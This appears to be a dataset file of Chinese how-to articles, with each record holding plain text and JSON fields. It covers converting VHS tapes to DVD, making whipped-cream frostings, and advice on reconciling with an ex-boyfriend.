此时尝试播放VHS录像带。您应该能够在安装的软件一个弹出窗口中看到它。检查音频响度和帧速率，任何调整播放质量。然后返回到您想录制的视频部分。
1-5. 先点击软件的“录制”再按下VHS录像带播放。
请确保该软件是在摄录模式，然后再开始播放视频，不然您会错过前几秒钟的内容。根据安装的软件这个过程会略有不同，但无论如何您必须等待视频播放完毕之后才能转换文件到DVD。
1-6. 视频结束时，在电脑上已经安装的任何视频播放器播放，检查质量。
如果您想此时编辑视频，可以在iMovie或一个免费程序如VirtualDub打开它，剪掉任何不需要的部分。
确保音频和视频同步。如果没有，您可以从音频菜单选择“交错调整音频......”输入一个音频延迟正数或负数。要搞清楚音频延迟多少，从视图菜单中选择“音频显示”。
修剪视频和/或调整音频定时后，您可以从视频和音频菜单选择“直接流复制”快速保存编辑过的视频，然后将文件保存为一个新的AVI。
1-7. 转换AVI文件到DVD或其他数码格式。
此时您已经有了一个VHS录像带的数码拷贝，您可以刻录到DVD或保存在电脑上。用于刻录DVD的热门软件如下：
在Mac上使用的Roxio Popcorn, Roxio Toast, 和 DVD2oneX都是流行的刻录软件。您可以下载安装一个免费程序刻录。
在PC: Avidemux, DVDStyler, 和ImgBurn都是免费开源可下载安装的视频编辑程序。
2. 使用VHS - DVD组合播放机
2-1. 获取一个VHS- DVD组合播放器。
虽然这些普遍缺乏高清晰度输出和软件包，它仍然是最简单的方式来传输VHS录像带到DVD 。
一个新的组合播放器可能在$ 100 - $ 200 之间，但在eBay或Craigslist可能会便宜些。
或者，您也可以单独连接一个VHS播放机到具有录制功能的DVD录放机。对此需要一套双向的视听电缆。如果使用组合播放器，从VHS播放机的输出接到DVD播放器的输入，然后遵循其余指示。
2-2. 根据您VHS磁带的质量，这可以是一个过度谨慎的或一个必要的步骤。
如果您使用旧的不可替代的家庭磁带或非常脏的磁带，您会希望通过播放器播放不会毁坏他们。
翻开保护盖，露示磁带。转动磁带的转轴并用软布或棉片擦拭磁带。
如果磁带是皱或扭曲，轻轻用布抚平。如果严重扭曲，反向转动转轴来带动磁带。要非常小心。
2-3. 插入VHS录像带到播放器，把一张空白DVD放入DVD播放机。
检查播放器的DVD格式的规格，它是否能写在DVD -R光盘或DVD-RW光盘 ，确保您已经得到了合适类型的光盘。
2-4. 按播放和录制。
不同的机器这个过程会有所不同，但通常需要按下DVD上的录制和VHS的播放。不过通常是一个单一的“录制”按钮自动启动转录过程。
3. 使用商业转换服务
3-1. 把要转换的磁带拿到附件商店的电子部门。
如果您怕麻烦，不想去买硬件来只转换一盒磁带，许多大商店的电子部门只需一小笔费用就能做。这样虽然不能做磁带编辑和护理，但除了送取之外就不需要做什么。他们也可以转换不常用的格式，如8毫米胶片或Betamax。
Walgreens, Costco, Walmart, imemories.com, Southtree, Target, CVS, and Sam's Club都提供这项服务，一张光盘收费介于$ 10到$ 30美元。通常一张光盘可录两个小时的VHS录像带。
3-2. 和磁带一起提供您的说明。
如果您想您女儿的VHS生日磁带在一张光盘上，您儿子的在另一张，写下这些放在磁带一起。确保所有的磁带都清楚地标明，并且重要的磁带都做了副本。另外，务必使员工意识到磁带上的任何脆弱或损坏的地方。
根据您送交哪个店，可能有些编辑选项供选。
3-3. 等待几个星期去取回来。
这对转录少量个人磁带是个很好的选项，避免了特地购买空白光盘，硬件和软件的成本。也有在线服务，提供相同的转录选项，但您必须运送VHS录像带，邮费可能很贵。
小提示
如果视频开始通过视频摄录跳过或冻结一部分，则CPU可能会放缓以防止过热。摄录视频是非常消耗CPU的，我的笔记本电脑曾经自动放慢处理器速度以防止过热。后来把电脑撑空在下面吹风扇，协助其冷却系统才解决了这个问题。
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"create_time": "20230517 11:02:17",
"回答明细": "{\"回答\": \"1. 使用模拟到数字适配器\\n1-1. 选择一个模拟到数码转换器。\\n通常$ 50 - $ 100美元就可以买到。流行的型号包括：\\nElgato公司的 Video Capture\\nRoxio的 Easy VHS to DVD\\nDiamond VC500\\n1-2. 将适配器连接到VHS播放器和计算机。\\n适配器的作用基本上是连接VHS播放机到计算机或笔记本电脑。通常一端有A / V电缆（红色，黄色和白色的电缆用于连接VHS播放机与一台电视机），另一端有一个USB端口。\\n1-3. 安装适配器的软件。\\n如果您的设备附带安装光盘插入光盘并按照指示进行。\\n或者，您可以下载并安装任意数量具有更多功能的免费应用程序。如果您购买二手适配器没有附带软件，这是一个很好的选择。 VirtualDub是一套免费开源的视频采集和编辑程序。 HuffYUV是另一个免费高速保真视频编解码器。\\n1-4. 打开计算机上的应用程序。\\n将VHS录像带快进或倒带到您想录制的视频部分。通常会要求“开始一个新文件” 。将它命名如“视频节目1” ，并从文件菜单中选择您的格式。\\n如果您使用的是开源软件，需要从录制设备列表中选择您的设备。\\n此时尝试播放VHS录像带。您应该能够在安装的软件一个弹出窗口中看到它。检查音频响度和帧速率，任何调整播放质量。然后返回到您想录制的视频部分。\\n1-5. 先点击软件的“录制”再按下VHS录像带播放。\\n请确保该软件是在摄录模式，然后再开始播放视频，不然您会错过前几秒钟的内容。根据安装的软件这个过程会略有不同，但无论如何您必须等待视频播放完毕之后才能转换文件到DVD。\\n1-6. 视频结束时，在电脑上已经安装的任何视频播放器播放，检查质量。\\n如果您想此时编辑视频，可以在iMovie或一个免费程序如VirtualDub打开它，剪掉任何不需要的部分。\\n确保音频和视频同步。如果没有，您可以从音频菜单选择“交错调整音频......”输入一个音频延迟正数或负数。要搞清楚音频延迟多少，从视图菜单中选择“音频显示”。\\n修剪视频和/或调整音频定时后，您可以从视频和音频菜单选择“直接流复制”快速保存编辑过的视频，然后将文件保存为一个新的AVI。\\n1-7. 转换AVI文件到DVD或其他数码格式。\\n此时您已经有了一个VHS录像带的数码拷贝，您可以刻录到DVD或保存在电脑上。用于刻录DVD的热门软件如下：\\n在Mac上使用的Roxio Popcorn, Roxio Toast, 和 DVD2oneX都是流行的刻录软件。您可以下载安装一个免费程序刻录。\\n在PC: Avidemux, DVDStyler, 和ImgBurn都是免费开源可下载安装的视频编辑程序。\\n2. 使用VHS - DVD组合播放机\\n2-1. 获取一个VHS- DVD组合播放器。\\n虽然这些普遍缺乏高清晰度输出和软件包，它仍然是最简单的方式来传输VHS录像带到DVD 。\\n一个新的组合播放器可能在$ 100 - $ 200 之间，但在eBay或Craigslist可能会便宜些。\\n或者，您也可以单独连接一个VHS播放机到具有录制功能的DVD录放机。对此需要一套双向的视听电缆。如果使用组合播放器，从VHS播放机的输出接到DVD播放器的输入，然后遵循其余指示。\\n2-2. 根据您VHS磁带的质量，这可以是一个过度谨慎的或一个必要的步骤。\\n如果您使用旧的不可替代的家庭磁带或非常脏的磁带，您会希望通过播放器播放不会毁坏他们。\\n翻开保护盖，露示磁带。转动磁带的转轴并用软布或棉片擦拭磁带。\\n如果磁带是皱或扭曲，轻轻用布抚平。如果严重扭曲，反向转动转轴来带动磁带。要非常小心。\\n2-3. 插入VHS录像带到播放器，把一张空白DVD放入DVD播放机。\\n检查播放器的DVD格式的规格，它是否能写在DVD -R光盘或DVD-RW光盘 ，确保您已经得到了合适类型的光盘。\\n2-4. 按播放和录制。\\n不同的机器这个过程会有所不同，但通常需要按下DVD上的录制和VHS的播放。不过通常是一个单一的“录制”按钮自动启动转录过程。\\n3. 使用商业转换服务\\n3-1. 把要转换的磁带拿到附件商店的电子部门。\\n如果您怕麻烦，不想去买硬件来只转换一盒磁带，许多大商店的电子部门只需一小笔费用就能做。这样虽然不能做磁带编辑和护理，但除了送取之外就不需要做什么。他们也可以转换不常用的格式，如8毫米胶片或Betamax。\\nWalgreens, Costco, Walmart, imemories.com, Southtree, Target, CVS, and Sam's Club都提供这项服务，一张光盘收费介于$ 10到$ 30美元。通常一张光盘可录两个小时的VHS录像带。\\n3-2. 和磁带一起提供您的说明。\\n如果您想您女儿的VHS生日磁带在一张光盘上，您儿子的在另一张，写下这些放在磁带一起。确保所有的磁带都清楚地标明，并且重要的磁带都做了副本。另外，务必使员工意识到磁带上的任何脆弱或损坏的地方。\\n根据您送交哪个店，可能有些编辑选项供选。\\n3-3. 等待几个星期去取回来。\\n这对转录少量个人磁带是个很好的选项，避免了特地购买空白光盘，硬件和软件的成本。也有在线服务，提供相同的转录选项，但您必须运送VHS录像带，邮费可能很贵。\\n小提示\\n如果视频开始通过视频摄录跳过或冻结一部分，则CPU可能会放缓以防止过热。摄录视频是非常消耗CPU的，我的笔记本电脑曾经自动放慢处理器速度以防止过热。后来把电脑撑空在下面吹风扇，协助其冷却系统才解决了这个问题。\\n\", \"简要回答\": \"如果您的地下室堆满了未标明的青年足球赛VHS录像带，和1989年的成年礼汇编，而且可能很快都会坏掉，那就要快速把他们转到二十一世纪来。如果您有很多的磁带，专业VHS- DVD转录服务是很贵的。但，如果您有正确的硬件和相应的软件可以自己做也能达到专业的结果。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"使用模拟到数字适配器\", \"步骤\": [{\"编号\": 1, \"标题\": \"选择一个模拟到数码转换器。\", \"描述\": \"通常$ 50 - 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14,709 | 如何制作鲜奶油糖霜 | 1. 经典款鲜奶油糖霜
1-1. 把布丁粉、牛奶和香草精混合。
用一个中等大小的碗装布丁粉，加入牛奶和香草精。一直搅拌，直到它们混合均匀并变稠。
可以用杏仁香精来代替香草精，满足多种口味的变化。
当然，也可以用其他口味的布丁粉来代替香草精，比如巧克力、奶油糖果、芝士蛋糕等等。
1-2. 加入喷射奶油。
把喷射奶油加入搅拌好的配料碗中。然后用抹刀把它们混合搅拌。
在加入喷射奶油时，一定要慢慢地叠放进去，不能为了保持粘稠度而搅拌着倒入。
一定要确保所有配料已经充分混合，最好让糖霜看起来颜色均匀，没有纹路。
如果想给糖霜上色，可以加几滴食用色素。
1-3. 涂抹糖霜。
用抹刀在甜点上涂些糖霜，一次可以多涂几匙。当糖霜涂满后，用抹刀把糖霜抹得更加平整些，确保糖霜是均匀的涂在了甜点上。
也可以把这种糖霜抹在各种蛋糕或甜点上，比如天使蛋糕、纸杯蛋糕，又或是大块蛋糕。
可以用黄油刀或者抹刀做出想要的波浪状。
你可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。
2. 糖粉鲜奶油糖霜
2-1. 将牛奶，布丁粉和糖混合。
把牛奶、布丁粉和糖倒入一个中等大小的碗里。将它们搅拌均匀至粘稠，大约需要2分钟。
也可以用其他口味的布丁粉来代替香草味，比如柠檬、芝士蛋糕或香蕉。
2-2. 加入喷射奶油。
用抹刀把喷射奶油加入搅拌好的配料里。
轻轻搅拌混合物，直到所有原料完全混合。
你也可以加几滴食用色素。
2-3. 涂抹糖霜。
往甜点上涂一些糖霜，一次可以多涂几匙。涂好后，用抹刀将它们抹平，这样能让糖霜分布得更均匀。
这种糖霜也可以抹在各种蛋糕或甜点上，比如天使蛋糕，纸杯蛋糕或者大块蛋糕。
用黄油刀或抹刀做出波浪状。
可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。
3. 奶油芝士鲜奶油糖霜
3-1. 把奶油芝士、鲜奶油、糖和香草精混合。
将蓬松的奶油芝士与鲜奶油搅拌在一起，随后加入糖和香草精，并把所有的原料搅拌到一起。
如果想要给糖霜上色，可以加几滴食用色素。
3-2. 涂抹糖霜。
把糖霜涂在甜点上，一次可以多涂几匙。涂好后，用抹刀把它涂抹开，确保糖霜分布均匀。
可以把这种糖霜涂在各种蛋糕或甜点上，比如天使蛋糕，纸杯蛋糕或者大块蛋糕。
用黄油刀或抹刀做出想要的波浪状。
除了使用抹刀，你也可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。
4. 特浓奶油芝士鲜奶油糖霜
4-1. 将奶油芝士和黄油搅拌在一起。
将黄油加到奶油芝士里是很关键的步骤，这可以让糖霜变得更浓、更多。
用手动搅拌机和大碗，或者直接使用立式搅拌机，中速搅拌奶油芝士和黄油，直到它们完全混合。
4-2. 加入香草精和糖粉。
在这些配料中，糖粉其实是另外一个能够使糖霜变得更浓更蓬松的关键。
以每次一杯的量向混合物中加入香草精和糖粉，用中速将它们搅拌至完全混合。
4-3. 加入喷射奶油。
把喷射奶油慢慢倒入刚才搅拌好的配料中，将它们混合，这样糖霜口感会更好。
加入喷射奶油，改成中低速进行搅拌。
搅拌到蓬松的状态。
4-4. 装饰甜点。
可以用这些糖霜来装饰蛋糕或甜点，比如天使蛋糕，纸杯蛋糕或者大块蛋糕。
用抹刀在甜点上涂抹些糖霜，一次可以多涂几匙。
当涂好糖霜后，用抹刀把糖霜抹平，确保糖霜分布均匀。
用黄油刀或抹刀做出想要的波浪状。
或者，你也可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。
5. 菠萝鲜奶油糖霜
5-1. 将喷射奶油、布丁粉和菠萝罐头搅拌在一起。
罐装菠萝中所含有的水份和甜味，可以代替经典款鲜奶油糖霜食谱中的牛奶和糖。
把喷射奶油、布丁粉和沥干的菠萝倒入一个中等大小的碗中。
充分搅拌让它们混合。
5-2. 涂抹糖霜。
把糖霜涂在甜点上，一次可以多涂几匙。涂好后，用抹刀把它涂抹开，确保糖霜分布均匀。
这些糖霜也可以用来装饰其他的蛋糕或甜点，比如天使蛋糕或者菠萝纸杯蛋糕。
可以用黄油刀或抹刀，做出想要的波浪状。
你也可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。
6. 草莓鲜奶油糖霜
6-1. 把草莓榨成草莓汁。
这是做出草莓味的关键一步。
将草莓放入食品加工器中，榨成草莓汁。
6-2. 将草莓汁与布丁粉混合。
把草莓汁和草莓味的布丁粉混合。
将这两种原料搅拌，直到它们充分混合。
6-3. 加入喷射奶油。
把喷射奶油慢慢加入混合好的草莓汁与布丁粉中。
搅拌到所有配料颜色均匀的状态。
6-4. 涂抹糖霜。
把糖霜涂在甜点上，一次可以多涂几匙。涂好后，再用抹刀把它涂抹开，确保糖霜分布均匀。
你也可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。
这种糖霜也可以用来涂抹纸杯蛋糕、松饼、天使蛋糕、大块蛋糕、布朗尼蛋糕或者可以冷藏的派。
7. 花生酱鲜奶油糖霜
7-1. 将布丁和牛奶混合。
先将这两种原料混合，方便之后做糖霜。
把喷射奶油和牛奶加入一个中等大小的碗中。
将原料充分搅拌直到变粘稠，大约需要2分钟。
7-2. 加入花生酱、糖和喷射奶油。
将剩下的原料混合在一起，完成糖霜最后的制作。
加入花生酱和糖，再把它们搅拌均匀。
慢慢加入喷射奶油并混合均匀。
7-3. 涂抹糖霜。
把糖霜涂在甜点上，一次可以多涂几匙。涂好后，再用抹刀把它涂抹开，确保糖霜分布均匀。
用黄油刀或抹刀做出想要的波浪状。
你也可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。
这种糖霜也可以用来涂抹各种甜点，比如纸杯蛋糕，或者可以冷藏的派。
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"回答明细": "{\"回答\": \"1. 经典款鲜奶油糖霜\\n1-1. 把布丁粉、牛奶和香草精混合。\\n用一个中等大小的碗装布丁粉，加入牛奶和香草精。一直搅拌，直到它们混合均匀并变稠。\\n可以用杏仁香精来代替香草精，满足多种口味的变化。\\n当然，也可以用其他口味的布丁粉来代替香草精，比如巧克力、奶油糖果、芝士蛋糕等等。\\n1-2. 加入喷射奶油。\\n把喷射奶油加入搅拌好的配料碗中。然后用抹刀把它们混合搅拌。\\n在加入喷射奶油时，一定要慢慢地叠放进去，不能为了保持粘稠度而搅拌着倒入。\\n一定要确保所有配料已经充分混合，最好让糖霜看起来颜色均匀，没有纹路。\\n如果想给糖霜上色，可以加几滴食用色素。\\n1-3. 涂抹糖霜。\\n用抹刀在甜点上涂些糖霜，一次可以多涂几匙。当糖霜涂满后，用抹刀把糖霜抹得更加平整些，确保糖霜是均匀的涂在了甜点上。\\n也可以把这种糖霜抹在各种蛋糕或甜点上，比如天使蛋糕、纸杯蛋糕，又或是大块蛋糕。\\n可以用黄油刀或者抹刀做出想要的波浪状。\\n你可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。\\n2. 糖粉鲜奶油糖霜\\n2-1. 将牛奶，布丁粉和糖混合。\\n把牛奶、布丁粉和糖倒入一个中等大小的碗里。将它们搅拌均匀至粘稠，大约需要2分钟。\\n也可以用其他口味的布丁粉来代替香草味，比如柠檬、芝士蛋糕或香蕉。\\n2-2. 加入喷射奶油。\\n用抹刀把喷射奶油加入搅拌好的配料里。\\n轻轻搅拌混合物，直到所有原料完全混合。\\n你也可以加几滴食用色素。\\n2-3. 涂抹糖霜。\\n往甜点上涂一些糖霜，一次可以多涂几匙。涂好后，用抹刀将它们抹平，这样能让糖霜分布得更均匀。\\n这种糖霜也可以抹在各种蛋糕或甜点上，比如天使蛋糕，纸杯蛋糕或者大块蛋糕。\\n用黄油刀或抹刀做出波浪状。\\n可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。\\n3. 奶油芝士鲜奶油糖霜\\n3-1. 把奶油芝士、鲜奶油、糖和香草精混合。\\n将蓬松的奶油芝士与鲜奶油搅拌在一起，随后加入糖和香草精，并把所有的原料搅拌到一起。\\n如果想要给糖霜上色，可以加几滴食用色素。\\n3-2. 涂抹糖霜。\\n把糖霜涂在甜点上，一次可以多涂几匙。涂好后，用抹刀把它涂抹开，确保糖霜分布均匀。\\n可以把这种糖霜涂在各种蛋糕或甜点上，比如天使蛋糕，纸杯蛋糕或者大块蛋糕。\\n用黄油刀或抹刀做出想要的波浪状。\\n除了使用抹刀，你也可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。\\n4. 特浓奶油芝士鲜奶油糖霜\\n4-1. 将奶油芝士和黄油搅拌在一起。\\n将黄油加到奶油芝士里是很关键的步骤，这可以让糖霜变得更浓、更多。\\n用手动搅拌机和大碗，或者直接使用立式搅拌机，中速搅拌奶油芝士和黄油，直到它们完全混合。\\n4-2. 加入香草精和糖粉。\\n在这些配料中，糖粉其实是另外一个能够使糖霜变得更浓更蓬松的关键。\\n以每次一杯的量向混合物中加入香草精和糖粉，用中速将它们搅拌至完全混合。\\n4-3. 加入喷射奶油。\\n把喷射奶油慢慢倒入刚才搅拌好的配料中，将它们混合，这样糖霜口感会更好。\\n加入喷射奶油，改成中低速进行搅拌。\\n搅拌到蓬松的状态。\\n4-4. 装饰甜点。\\n可以用这些糖霜来装饰蛋糕或甜点，比如天使蛋糕，纸杯蛋糕或者大块蛋糕。\\n用抹刀在甜点上涂抹些糖霜，一次可以多涂几匙。\\n当涂好糖霜后，用抹刀把糖霜抹平，确保糖霜分布均匀。\\n用黄油刀或抹刀做出想要的波浪状。\\n或者，你也可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。\\n5. 菠萝鲜奶油糖霜\\n5-1. 将喷射奶油、布丁粉和菠萝罐头搅拌在一起。\\n罐装菠萝中所含有的水份和甜味，可以代替经典款鲜奶油糖霜食谱中的牛奶和糖。\\n把喷射奶油、布丁粉和沥干的菠萝倒入一个中等大小的碗中。\\n充分搅拌让它们混合。\\n5-2. 涂抹糖霜。\\n把糖霜涂在甜点上，一次可以多涂几匙。涂好后，用抹刀把它涂抹开，确保糖霜分布均匀。\\n这些糖霜也可以用来装饰其他的蛋糕或甜点，比如天使蛋糕或者菠萝纸杯蛋糕。\\n可以用黄油刀或抹刀，做出想要的波浪状。\\n你也可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。\\n6. 草莓鲜奶油糖霜\\n6-1. 把草莓榨成草莓汁。\\n这是做出草莓味的关键一步。\\n将草莓放入食品加工器中，榨成草莓汁。\\n6-2. 将草莓汁与布丁粉混合。\\n把草莓汁和草莓味的布丁粉混合。\\n将这两种原料搅拌，直到它们充分混合。\\n6-3. 加入喷射奶油。\\n把喷射奶油慢慢加入混合好的草莓汁与布丁粉中。\\n搅拌到所有配料颜色均匀的状态。\\n6-4. 涂抹糖霜。\\n把糖霜涂在甜点上，一次可以多涂几匙。涂好后，再用抹刀把它涂抹开，确保糖霜分布均匀。\\n你也可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。\\n这种糖霜也可以用来涂抹纸杯蛋糕、松饼、天使蛋糕、大块蛋糕、布朗尼蛋糕或者可以冷藏的派。\\n7. 花生酱鲜奶油糖霜\\n7-1. 将布丁和牛奶混合。\\n先将这两种原料混合，方便之后做糖霜。\\n把喷射奶油和牛奶加入一个中等大小的碗中。\\n将原料充分搅拌直到变粘稠，大约需要2分钟。\\n7-2. 加入花生酱、糖和喷射奶油。\\n将剩下的原料混合在一起，完成糖霜最后的制作。\\n加入花生酱和糖，再把它们搅拌均匀。\\n慢慢加入喷射奶油并混合均匀。\\n7-3. 涂抹糖霜。\\n把糖霜涂在甜点上，一次可以多涂几匙。涂好后，再用抹刀把它涂抹开，确保糖霜分布均匀。\\n用黄油刀或抹刀做出想要的波浪状。\\n你也可以用勺子把糖霜舀到一个裱花袋里（也可以剪下塑料袋的一个小角），然后把糖霜挤到甜点上。\\n这种糖霜也可以用来涂抹各种甜点，比如纸杯蛋糕，或者可以冷藏的派。\\n\", \"简要回答\": \"想找一款普通奶油的替代品吗？我们都知道喷射奶油可以用来装饰或蘸甜点，其实它也可以用来做蓬松性糖霜的原料。因为喷射奶油是很常见的基础材料，你可以加入其它不同的配料，制作出奶油芝士或者花生酱等各种口味的鲜奶油糖霜。\\n\\n总时间（经典款）：5-10分钟\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"经典款鲜奶油糖霜\", \"步骤\": [{\"编号\": 1, \"标题\": \"把布丁粉、牛奶和香草精混合。\", \"描述\": \"用一个中等大小的碗装布丁粉，加入牛奶和香草精。一直搅拌，直到它们混合均匀并变稠。\\n可以用杏仁香精来代替香草精，满足多种口味的变化。\\n当然，也可以用其他口味的布丁粉来代替香草精，比如巧克力、奶油糖果、芝士蛋糕等等。\"}, {\"编号\": 2, \"标题\": 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14,710 | 如何让和你分手的男朋友回到你身边 | 1. 想想他为什么要和你分手
1-1. 弄明白这段关系结束的原因。
是因为争吵、出轨等行为，还是你感觉到他逐渐丧失了兴趣？弄清楚他和你分手的原因，能帮你想明白复合是不是最佳选择。
想想他在分手前几周的行为。这能帮你确定这段关系是否还能够拯救。
如果是由于意见不合而突然分手，那么他可能只是需要冷静一段时间。
如果这段关系出问题已经持续好几个月了，那你就要考虑一下是否让他回来是否值得。
1-2. 思考争吵的原因。
如果是因为争吵而导致了分手，那么弄清楚争吵的原因可以帮你解决这个问题。这是你们第一次吵架，还是一直都在争吵？人们总是会经历吵架、分手、和好的过程，但如果已经形成了一种模式，那就意味着这段关系在整体上存在着更严重的问题。
如果是身体上的冲突，你要明白身体上的暴力行为永远是不可以的。和对你进行身体暴力的人复合并不是一个好主意。
另外，绝对不要对另一半使用暴力。如果你有或者有过想要伤害自己伴侣的想法，可以向朋友、家人甚至医生寻求帮助。
1-3. 考虑一下你是否能够原谅出轨行为。
如果这段关系是因为出轨而结束的，那你就要想想你们的关系能否成为一段稳健的关系。通常情况下，一段因为出轨而结束的关系会一直保持这种状态。
如果是他出轨，想想你是否真的能原谅他。如果是最近才分手，那你可能会有一些情绪化的反应。
如果是你出轨，想一想让他回来对他而言是否公平。出轨和背叛对大多数人来说都是难以释怀的。
出轨可能有深层的根本原因。有可能是因为出轨的那个人对这段关系并不满意。
1-4. 了解他为什么丧失了兴趣。
如果你们的感情因为对方丧失了兴趣而变淡，那你就要想一想原因。也许是时机不对，可能你正处于一段困难的时期，或者你可能不是他命中注定的那个人。
他可能会因为你们其中某个人的改变而丧失兴趣。你可能由于当下的困境而发生了暂时的改变，或者你可能已经变得更好，有时人们就会逐渐产生隔阂。
如果这段关系的结束是因为你们其中一个人或者双方都发生了改变，那么你们最好各自继续往前走。
1-5. 接受错误。
如果觉得自己做错了什么，你应该接受并准备好承认自己的错误。如果你让他觉得痛苦，那他很可能是被你的行为伤害到了。
注意以后不要再犯类似的错误。如果你们复合了，千万不要再重复你的错误。
1-6. 弄清楚自己的意图。
想一想你是真的想和他复合，还是只是因为他和你分手了，你才想让他回来。你可能觉得分手时自己的自信心受到了伤害，有必要证明你可以让他回心转意。或者，分手可能会让你意识到你有多在乎他。
如果不是真诚的意愿，就不要试图和他复合了。这只会让双方都很受伤。
2. 给予对方一定的空间
2-1. 要有耐心。
让他回心转意可能只需要很短的时间，也可能是一个漫长的过程。不管怎样，你都需要给他一些空间。
2-2. 下决心在一段时间内不要联络对方。
你可以和他断绝一周、一个月甚至几个月的联系。断绝联系的时间长短取决于你们的关系和分手情况。
如果你觉得短时间内不要联系对你来说是最好的，可以尝试一周都不要和对方联系。
如果分手过程很艰难，那就至少一个月不要联系对方。
在此期间，如果他联系你，尽量不要回他的信息或者电话。你可能会在一段时间之后决定和他联系，但是现阶段完全断绝联系能够让他重新恢复兴趣。
2-3. 别再给他打电话和发短信。
如果你一遍又一遍地给前男友打电话或者发短信，是时候停止和他联系了。停止联系可以给对方一个喘息的空间，让他冷静下来。这也能给他机会来思考他是否做错了什么。
2-4. 不要通过社交媒体联系他。
你可能想在社交媒体上和他解除好友关系，但这没有必要。不过重要的是，不要去评论或者点赞他发布的任何东西，也不要给他发信息。
只有当你发现很难避免与他联系或者是查看他发布的内容时，再考虑和他解除好友关系，否则最好将这种交流方式一直保留到以后。
不要看他在社交媒体上发布的内容。看到他在没有你的情况下玩得很开心，只会让你更伤心。
2-5. 尽量避免见到他本人。
避免去他最喜欢去的地方，或者是和你们的共同朋友出去玩。不要过多地改变你自己的生活，但是尽量避免和他面对面的交流。
如果你和前男友一起工作或者上学，可以保持友好和专业的态度，但是在非必要的情况下，不要和他说话。
2-6. 放松享受生活。
不要花太多精力去逃避前男友，尽最大的努力去做自己喜欢的事情。如果你对分手的态度并不绝望或者迫切，那他可能就会意识到你的价值所在。
3. 专注于自身
3-1. 给自己时间去悲伤难过。
分手后感到情绪化是正常的，不要试图压抑你的悲伤。在释放了自己的情绪之后，你才能够用清晰的头脑来思考和处理复合的事。
因为分手而感到悲伤是正常的。如果悲伤蔓延到生活的各个方面，并且没有随着时间的推移而有所改善，你就应该寻求帮助。
如果睡眠、饮食和注意力受到了影响，并且持续超过了两周，你应该寻求帮助。如果有自残或者自杀的想法，一定要寻求帮助。
不要自怨自艾，让自己承受太多压力。给自己一点时间去感伤，但不要忘记自身积极的一面。
3-2. 用创造性的方式释放自己的情绪。
把想法写在日记里、画画，甚至写歌。写作和艺术都是抒发思想情感的方法。
3-3. 为朋友和家人腾出时间。
有时候分手会让你感到孤独，并且在恋爱过程中也经常会与一些朋友失去联系。在与前男友分开的这段时间里，你可以与朋友和家人联系。和你爱的人在一起是一种正面积极的疗伤方式，可以帮助你建立自信，修复受伤的感情。
3-4. 在外表上做出积极的改变。
你现在的样子没有什么问题，但改变外表通常是获得自信的一种捷径。外貌上的变化可以小到洗牙，大到换个新发色。
买一套新衣服。新衣服可以展现出你有趣、性感或者个性的一面。
开始锻炼。健康的生活方式对你有好处，前男友可能也会注意到你的改变。
3-5. 尝试新事物。
现在是一个很好的时机去尝试自己一直想做的事情。尝试一些新事物可以帮你从分手的阴影中走出来，防止你太快与他联系。
上瑜伽课。
前往一个没去过的地方旅行。
上烹饪课。
在收容中心做志愿者。
3-6. 记住真正的你是什么样的。
分手并不会让你缺失什么。花点儿时间回想一下是什么让你的前男友爱上了你。
想想你的优点，同时也要思考你的缺点。不要老纠结于自己的缺点，要想办法改正它们。
4. 保持友好往来
4-1. 等你真正准备好了再联系对方。
在你决定好不联系他的时间段内坚持断绝联系，不要因为强烈的欲望而说服自己在短时间内就联系他。你要在头脑清晰、意志坚强的情况下才与他联系，这对你和前男友都有好处。
4-2. 从小事做起。
通过点赞他在社交媒体上发布的内容，开始尝试与他联系。如果你们在社交媒体上不是好友关系，那就给他发一条短信。
如果发短信，对话内容不要过于冗长。告诉他你希望他一切都好，或者是你看到了让你想起他的事物。
4-3. 给他发一条短信。
先对他进行问候，或者是问问他最近怎么样。尝试进行一次轻松的交流。
不要告诉他你很想他、爱他，或者想要他回心转意。
如果他不回复，不要反复给他发短信，至少要等几天或者一周后再试一次。如果他一直都没有回复，别再继续联系他了。
4-4. 给他打个电话。
如果他开始回复你的短信，你可以试着给他打电话。分开一段时间之后再听到你的声音，能够让他意识到他有多想念有你在他生命中的时光。
暂时不要谈论你们的关系。告诉他你的近况，问问他最近怎么样。
如果他一开始没有作出你想要的回应，不要太生气或者是情绪化。
4-5. 邀请他出去。
你现在还不需要和他开始约会。试着邀请他一起出去玩，或者是约他一起参加某项活动。
约他出去喝杯咖啡。
提出一起去远足或者散步的建议。
邀请他去看他感兴趣的电影，或者是参加他感兴趣的活动。
4-6. 慢慢来。
不要指望可以重新回到你们曾经的关系。要明白他可能还是感到很受伤或困惑。以朋友般的方式相处，不要试图强求任何事。
告诉他在分开的时候你尝试了哪些新事物。
利用分手时期获得的自信让他知道你是多么亲切有趣。
4-7. 含蓄地提出复合的想法。
告诉他你很享受和他在一起的时光，让他知道你想和他继续谈恋爱。不要在他刚开始感觉和你在一起很舒服的时候乞求复合。
不要一开始就要求复合。告诉他你有打算复合的想法。
让他知道你想复合，告诉他你们已经分开足够长的时间，可以重新开始了。
4-8. 促膝长谈。
你可能想要重新开始，但是要知道如果不谈论过去的事，你们是很难重归于好的。听一听他的感受和担忧，和他冷静地谈谈你对这件事的看法。
